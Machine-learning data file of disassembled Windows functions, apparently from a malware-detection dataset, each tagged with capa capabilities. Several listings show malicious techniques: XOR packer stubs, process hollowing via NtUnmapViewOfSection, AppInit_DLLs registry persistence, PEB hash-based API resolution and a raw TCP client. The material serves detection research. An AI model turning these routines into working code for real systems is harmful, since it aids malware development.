joyce8/EMBER2024-capa huggingface dataset:
Function at 0x421e9f
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.004118e0
mov eax, dword [0x43d100]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0041f653
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x421ee1
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x42203d
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0042d0e0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x43f7e0]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.004222c5
mov ecx, dword [esi*4 + 0x43f7e0]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x422036
cmp eax, dword [edi + ecx + 0x24]
jne 0x422036
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x422036
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004222c5
add esp, 0x14
test edx, edx
jl 0x422036
jg 0x421fac
test eax, eax
jb 0x422036
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x422036
jl 0x421fc6
cmp dword [ebp - 0x1008], eax
ja 0x422036
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x421fe4
test ebx, ebx
je 0x42201d
cmp ecx, edi
jae 0x42201d
mov al, byte [ecx]
cmp al, 0xd
jne 0x421ffe
lea eax, [edi - 1]
cmp ecx, eax
jae 0x42200a
cmp byte [ecx + 1], 0xa
jne 0x42200a
inc ecx
jmp 0x42200a
movzx eax, al
movsx eax, byte [eax + 0x43da40]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x421fe4
cmp edx, ebx
jne 0x421fe4
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x42203b
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00410ef6
leave
ret
Function at 0x4255fd
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x42569a
push ebx
push esi
call fcn.004255c6
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0042424b
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x425647
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x425699
push edi
push eax
call fcn.0041e6f1
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x425667
call fcn.0041d8eb
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x425698
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0042424b
add esp, 0x20
test eax, eax
jne 0x425686
push edi
call fcn.0041d8eb
jmp 0x42568e
push ebx
call fcn.0041d8eb
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x42a1e6
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x43f7e0]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x42a226
cmp byte [ebx], 0xa
jne 0x42a226
or byte [eax + edi + 0x28], 4
jmp 0x42a22b
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x42a329
mov al, byte [edx]
cmp al, 0x1a
je 0x42a30b
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x42a25a
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x42a27f
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x42a289
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x42a23c
jmp 0x42a329
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x42a306
cmp dword [ebp - 0xc], 0
je 0x42a306
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x43f7e0]
test byte [eax + edi + 0x28], 0x48
je 0x42a2e0
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x42a2cb
mov byte [esi], dl
jmp 0x42a2dc
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x43f7e0]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x42a329
cmp byte [ebp - 1], 0xa
jne 0x42a2ef
cmp esi, ebx
jne 0x42a2ef
mov byte [esi], 0xa
jmp 0x42a328
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004222e3
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x42a329
mov byte [esi], 0xd
jmp 0x42a328
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x43f7e0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x42a325
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x42a329
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x42a332
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x43f7e0]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x42a375
cmp word [esi], dx
jne 0x42a375
or byte [edi + eax + 0x28], 4
jmp 0x42a37a
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x42a4cd
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x42a4ad
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x42a3bc
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x42a3f2
cmp eax, edx
jae 0x42a3fe
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x42a394
jmp 0x42a4cd
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x42a4a9
cmp dword [ebp - 0x14], 0
je 0x42a4a9
mov eax, dword [ebx*4 + 0x43f7e0]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x42a481
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x42a44a
mov word [esi], cx
jmp 0x42a47d
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x43f7e0]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x43f7e0]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x43f7e0]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x42a4cd
pop ebx
cmp word [ebp - 4], bx
jne 0x42a492
cmp esi, dword [ebp + 0xc]
jne 0x42a492
mov word [esi], bx
jmp 0x42a4ca
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.004222e3
add esp, 0x10
cmp word [ebp - 4], bx
je 0x42a4cd
push 0xd
jmp 0x42a4c6
mov ecx, dword [ebx*4 + 0x43f7e0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x42a4c4
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x42a4cd
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x42cee0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42cf0d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42cf0d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..data
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408f6c
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
mov esi, 0x1bc528c5
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data_1
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e3d0
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x25d71d18
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
loop 0x4300c0
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219

Function at 0x433000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
nop
pop eax
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x40a15c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [ebp + 0xc]
mov word [ebp + 0xc], ax
mov ebx, 0x19826993
mov eax, ebx
mul ebx
mov dword [ebp - 0x10], eax
mov ebx, eax
xor esi, esi
mov eax, ebx
mul ebx
mov dword [ebp - 0x14], eax
mov ebx, eax
mov word [ebp - 0xc], 0
jmp 0x40a272
mov eax, ebx
xor eax, ebx
mov ebx, eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.00405066
pop ecx
mov edx, eax
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
jne 0x40a1b3
mov byte [ebp - 2], 0
jmp 0x40a1dd
call fcn.0040ddd8
mov dword [ebp - 0x18], eax
mov eax, 0x7fff
mov edi, 7
movzx edx, byte [ebp - 1]
mov ecx, edi
sub ecx, edx
cdq
idiv ecx
mov ecx, eax
mov eax, dword [ebp - 0x18]
cdq
idiv ecx
mov edx, eax
mov byte [ebp - 2], dl
mov eax, dword [ebp + 8]
mov al, byte [esi + eax]
cmp al, 0x70
jb 0x40a1fc
cmp al, 0x7f
ja 0x40a1fc
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, dword [ebp + 8]
movzx eax, byte [esi + eax]
cmp eax, 0xe2
jne 0x40a21b
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 8
push 0x90
lea eax, [ebp - 0xa]
push eax
call fcn.0040ddc0
movzx eax, byte [ebp - 1]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
lea eax, [ebp - 0xa]
movzx edx, byte [ebp - 2]
add eax, edx
push eax
call fcn.0040ddb4
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 6
lea eax, [ebp - 0xa]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.0040ddb4
add esp, 0x24
mov eax, ebx
add eax, ebx
mov ebx, eax
add esi, 6
inc word [ebp - 0xc]
movzx eax, word [ebp + 0xc]
dec eax
cmp esi, eax
jb 0x40a190
pop edi
pop esi
pop ebx
leave
ret

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ed0
mov ecx, 0x22b03f3f
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
mov ecx, 0x15c1e4d
nop
nop
nop
nop
nop
test eax, eax
je 0x430084
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x413840
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0x400
push 0x40
call fcn.00413f50
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4138d9
mov edi, dword [ebp - 4]
xor ecx, ecx
push ecx
mov eax, ecx
mov ecx, 8
mov edx, eax
and edx, 1
jne 0x413876
shr eax, 1
jmp 0x41387d
shr eax, 1
xor eax, 0xedb88320
loop 0x41386b
stosd dword es:[edi], eax
pop ecx
inc ecx
cmp ecx, 0x100
jb 0x413863
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
xor ecx, ecx
mov ebx, 0xffffffff
push ecx
xor eax, eax
lodsb al, byte [esi]
mov edx, ebx
shr ebx, 8
push ebx
xchg ebx, edx
and ebx, 0xff
xor ebx, eax
xchg ebx, eax
mov ecx, 4
mul ecx
xchg ebx, eax
mov eax, dword [ebp - 4]
add eax, ebx
mov eax, dword [eax]
pop ebx
xor eax, ebx
mov ebx, eax
pop ecx
inc ecx
cmp ecx, edi
jb 0x413897
not eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
push eax
call fcn.00413f70
mov eax, dword [ebp - 8]
jmp 0x4138db
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x414290
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
lea eax, [ebp - 0x340]
push eax
call fcn.00414430
push eax
call fcn.00414450
lea ecx, [ebp - 0x58]
push ecx
call fcn.00414470
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x68], edx
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x344], eax
mov ecx, dword [ebp - 0x344]
mov edx, dword [ebp - 0x68]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax + 0x34]
mov dword [ebp - 0x5c], ecx
mov edx, dword [ebp - 0x64]
mov eax, dword [edx + 0x28]
mov dword [ebp - 0x6c], eax
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x58]
push edx
push 0
push 0
push 0x24
push 0
push 0
push 0
call fcn.00414490
push eax
push 0
call fcn.004144b0
mov eax, dword [ebp - 0x5c]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
push 4
push 0x3000
mov edx, dword [ebp - 0x64]
mov eax, dword [edx + 0x50]
push eax
mov ecx, dword [ebp - 0x5c]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call fcn.004144f0
push 0
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax + 0x54]
push ecx
mov edx, dword [ebp - 0x68]
push edx
mov eax, dword [ebp - 0x5c]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00414520
mov dword [ebp - 0x348], 0
jmp 0x414363
mov edx, dword [ebp - 0x348]
add edx, 1
mov dword [ebp - 0x348], edx
mov eax, dword [ebp - 0x64]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0x348], ecx
jge 0x4143bb
mov edx, dword [ebp - 0x344]
mov eax, dword [edx + 0x3c]
mov ecx, dword [ebp - 0x68]
lea edx, [ecx + eax + 0xf8]
mov eax, dword [ebp - 0x348]
imul eax, eax, 0x28
add edx, eax
mov dword [ebp - 0x60], edx
push 0
mov ecx, dword [ebp - 0x60]
mov edx, dword [ecx + 0x10]
push edx
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x68]
add ecx, dword [eax + 0x14]
push ecx
mov edx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x5c]
add eax, dword [edx + 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00414520
jmp 0x414354
mov dword [ebp - 0x340], 0x10002
lea edx, [ebp - 0x340]
push edx
mov eax, dword [ebp - 0xc]
push eax
call fcn.00414450
push 0
push 4
lea ecx, [ebp - 0x5c]
push ecx
mov edx, dword [ebp - 0x29c]
add edx, 8
push edx
mov eax, dword [ebp - 0x10]
push eax
call fcn.00414520
mov ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x6c]
mov dword [ebp - 0x290], ecx
lea edx, [ebp - 0x340]
push edx
mov eax, dword [ebp - 0xc]
push eax
call fcn.00414550
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.00414570
mov edx, dword [ebp - 0x68]
push edx
call fcn.00413f70
push 0xffffffffffffffff
mov eax, dword [ebp - 0x10]
push eax
call fcn.00414590
mov esp, ebp
pop ebp
ret
Function at 0x4146e0
Capabilities:
Persist via appinit_dlls registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push 0x411c10
push 0x411c1c
call fcn.004145b0
add esp, 4
push eax
push 0x411c28
lea eax, [ebp - 0x108]
push eax
call fcn.004141c0
add esp, 0x10
lea ecx, [ebp - 0x108]
push ecx
call fcn.004137e0
neg eax
sbb eax, eax
add eax, 1
cmp eax, 0xffffffff
je 0x414768
push 0
push 4
push 1
push 0
push 0
push 0x40000000
lea edx, [ebp - 0x108]
push edx
call fcn.00413f90
mov dword [ebp - 0x114], eax
push 0
lea eax, [ebp - 0x110]
push eax
push 0x10600
push 0x401320
mov ecx, dword [ebp - 0x114]
push ecx
call fcn.00413ff0
mov dword [ebp - 0x10c], 0
push 0
lea edx, [ebp - 0x10c]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x411c30
push 0x80000002
call fcn.00414a30
lea eax, [ebp - 0x108]
push eax
call fcn.00415edc
add esp, 4
push eax
lea ecx, [ebp - 0x108]
push ecx
push 1
push 0
push 0x411c68
mov edx, dword [ebp - 0x10c]
push edx
call fcn.00414a70
mov eax, dword [ebp - 0x10c]
push eax
call fcn.00413790
mov esp, ebp
pop ebp
ret

Function at 0x414b80
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
neg eax
sbb eax, eax
neg eax
mov esp, ebp
pop ebp
ret

Function at 0x414ba0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a8
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0xffffffff
jne 0x414bea
call dword [sym.imp.WS2_32.dll_WSACleanup]
or eax, 0xffffffff
jmp 0x414c7e
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0
jne 0x414c0e
call dword [sym.imp.WS2_32.dll_WSACleanup]
or eax, 0xffffffff
jmp 0x414c7e
push 0x50
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1a6], ax
mov edx, 2
mov word [ebp - 0x1a8], dx
mov eax, dword [ebp - 0x198]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x1a4], eax
push 0
push 0
push 0
push 0
push 0x10
lea ecx, [ebp - 0x1a8]
push ecx
mov edx, dword [ebp - 0x194]
push edx
call dword [sym.imp.WS2_32.dll_WSAConnect]
cmp eax, 0xffffffff
jne 0x414c78
call dword [sym.imp.WS2_32.dll_WSACleanup]
or eax, 0xffffffff
jmp 0x414c7e
mov eax, dword [ebp - 0x194]
mov esp, ebp
pop ebp
ret
Function at 0x415940
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push esi
push edi
cld
mov edx, dword fs:[0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
mov ecx, 0x18
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x415963
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x41595a
cmp edi, 0x6a4abc5b
mov eax, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x415950
pop edi
pop esi
ret

Function at 0x41611c
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x418ce4]
test eax, eax
je 0x416135
call eax
test eax, eax
jne 0x416135
push 0xfffffffffffffffe
jmp 0x41614f
push 1
push 0x401088
push 0x401080
call fcn.00416334
add esp, 0xc
test eax, eax
je 0x416155
push 0xfffffffffffffffd
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
push 0
push 0x40107c
push 0x401078
call fcn.00416334
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
test esi, esi
jne 0x41617b
mov esi, 0x411970
mov cl, 0x20
jmp 0x416184
cmp al, 0x20
ja 0x41618e
inc esi
mov al, byte [esi]
test al, al
jne 0x41617f
cmp al, 0x20
jbe 0x4161a5
mov al, byte [esi]
cmp al, 0x22
jne 0x416197
xor cl, 0x20
inc esi
mov al, byte [esi]
cmp al, cl
ja 0x416190
jmp 0x4161a5
cmp al, cl
ja 0x4161ab
inc esi
mov al, byte [esi]
test al, al
jne 0x4161a0
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test eax, 0xa0d0a0d
sub eax, 0x54524357
sub eax, 0xa0d0a0d
test byte [ebp - 0x18], 1
je 0x4161d4
movzx eax, word [ebp - 0x14]
jmp 0x4161d7
push 0xa
pop eax
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
push eax
call fcn.004162ff
pop ecx
pop esi
leave
ret

Function at 0x4162ff
Capabilities:
Terminate process

Disassembly:
call fcn.0041635b
push 0
push 0x401090
push 0x40108c
call fcn.00416334
push 0
push 0x401098
push 0x401094
call fcn.00416334
add esp, 0x18
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x10001b40
Capabilities:
Link many functions at runtime

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x24], 0
jne 0x10001bd8
push str.avifil32.dll
call fcn.1000512c
test al, al
jne 0x10001b5d
pop esi
ret
push str.AVIFileInit
push dword [esi + 4]
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.AVIFileExit
push dword [esi + 4]
mov dword [esi + 8], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.AVIFileRelease
push dword [esi + 4]
mov dword [esi + 0xc], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.AVIFileOpen
push dword [esi + 4]
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.AVIStreamInfo
push dword [esi + 4]
mov dword [esi + 0x14], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.AVIStreamOpenFromFile
push dword [esi + 4]
mov dword [esi + 0x18], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.AVIStreamRelease
push dword [esi + 4]
mov dword [esi + 0x1c], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [esi + 0x20], eax
mov byte [esi + 0x24], 1
mov al, 1
pop esi
ret

Function at 0x10001c20
Capabilities:
Link many functions at runtime

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x24], 0
jne 0x10001cb8
push str.winmm.dll
call fcn.1000512c
test al, al
jne 0x10001c3d
pop esi
ret
push str.mmioInstallIOProcA
push dword [esi + 4]
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.mmioOpenA
push dword [esi + 4]
mov dword [esi + 8], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.mmioClose
push dword [esi + 4]
mov dword [esi + 0xc], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.mmioAscend
push dword [esi + 4]
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.mmioRead
push dword [esi + 4]
mov dword [esi + 0x14], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
